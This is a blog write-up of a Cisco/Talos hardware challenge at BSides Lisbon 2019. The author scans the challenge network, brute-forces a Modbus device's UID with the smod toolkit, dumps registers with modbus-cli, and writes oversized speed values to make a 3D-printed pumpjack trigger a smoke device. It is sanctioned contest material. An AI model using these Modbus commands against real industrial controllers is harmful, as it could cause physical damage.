Make it smoke! Cisco Challenge Write-up
Tags: bsideslisbon, infosec, iot, cisco
Published: 2022-11-04 22:36:52

---
title: Make it smoke! Cisco Challenge Write-up
published: true
date: 2019-11-30 00:00:00 UTC
tags: bsideslisbon,infosec,iot,cisco
canonical_url: https://jpdias.me/infosec/iot/2019/11/30/bsides-lx-cisco.html
---

BSides is the biggest security-wise event in Portugal, with 2 days of talks, workshops, a CTF competition, and lots more. During BSides some _sidequests_ ranging from raffles to challenges appear that can give you prizes_!_ This is a write-up of one of those challenges by Cisco/Talos.

<!--more-->
## The Challenge

![Make it Smoke!](https://jpdias.me/images/bsideslx19/header.png)

In the booth of Cisco/Talos we were presented with the following scenario (as it can be seen in the picture):

1. An access point (AP) named `security` with the password `cisco12345`.
2. A 3d-printed pumpjack<sup id="fnref:1"><a href="#fn:1">1</a></sup>.
3. Some kind of controller based on Arduino.
4. The objective was to make it smoke somehow.

## Preliminaries

First thing first, connect to the network and do a quick network and port scan. Since it was an AP for everyone that wanted to do the challenge, several IP’s showed up, but only one interesting, the `10.10.10.1` with the port `502` open.

As per Siemens documentation: _By default, the protocol uses Port `502` as local port in the Modbus server_<sup id="fnref:2"><a href="#fn:2">2</a></sup>. Thus we are probably faced with something that speaks _Modbus_ protocol.

With a little of search you can find a lot of _Modbus_ protocol clients in the wild, as well as some _offensive_ toolkits.

## Making it smoke!

Using the [smod-1 by theralfbrown](https://github.com/theralfbrown/smod-1) toolkit I was able to connect to the Modbus system and interact with it.

```
$ python smod.py
SMOD > use modbus/scanner/uid
SMOD modbus(uid) > set RHOST 10.10.10.1
SMOD modbus(uid) > exploit
[+] Module Brute Force UID Start
[+] Start Brute Force UID on : 10.10.10.1
[+] UID on 10.10.10.1 is : 10
```

Now I did know the UID of the Modbus, however even after exploring the DoS capabilities and _all_ the reader modules I was not getting anywhere close to make it smoke.

So, after exploring a little more one Github I found out this really nice [modbus-cli by tallakt](https://github.com/tallakt/modbus-cli).

Even if it was not implemented with an _offensive_ mindset like the previous tool, it allowed us to read, write and **dump** the memory of a _Modbus_ device. Using it we were able to read random parts of the memory, as example, reading five words from the device starting from address `%MW100` (which corresponds to address `400101`).

```
$ modbus read 10.10.10.1 %MW100 5
%MW100 0
%MW101 0
%MW102 0
%MW103 0
%MW104 0
```

After trying to read random places of the memory using this tool and finding nothing but zero values, and decided to just _dump_ everything into a file (the operation took around 20 seconds).

```
$ modbus read --output mybackup.yml 10.10.10.1 400001 1000
```

After dumping all the memory into a file, looking into the file:

```
$ cat mybackup.yml 
---
:host: 10.10.10.1
:port: 502
:slave: 1
:offset: '400001'
:data:
- 0
- 0
- 0
- 0
- 0
- 0
- 5000
- 0
-- show more --
```

The file keep going on, with a lot of zero’s and a lot of random values. I guess that those random value were the result of all the participants trying to _pwn_ it.

However, that seventh value caught my attention because it was a simple number. Maybe that was the speed of the rotation mechanism of the pumpjack, _maybe_.

Checking if the dump was correct, with the same tool we could read that specific part of the memory:

```
$ modbus read 10.10.10.1 400001 7
400001 0
400002 0
400003 0
400004 0
400005 0
400006 0
400007 8000
```

And yep, the value was still there, but a bit higher (and we could observe the pumpjack rotating more quickly).

So the next step was to try to write some higher value there:

```
$ modbus write 10.10.10.1 400007 10000
```

And then, _higher_:

```
$ modbus write 10.10.10.1 400007 18000
```

And this was it, the increase in the rotation speed of the pumpjack triggered the smoke device that was connected to the Arduino!

![Running like hell!](https://jpdias.me/images/bsideslx19/final.png)

It was a fun challenge by Cisco and Talos. And _pwning_ IoT devices is the real _sh_t\*.

1. 

[Pumpjack on Wikipedia](https://en.wikipedia.org/wiki/Pumpjack) ↩

2. 

[Which ports are released for Modbus/TCP communication](https://support.industry.siemens.com/cs/document/34010717/which-ports-are-released-for-modbus-tcp-communication-and-how-many-modbus-clients-can-communicate-with-a-simatic-s7-pn-cpu-as-modbus-server-?dti=0&lc=en-WW) ↩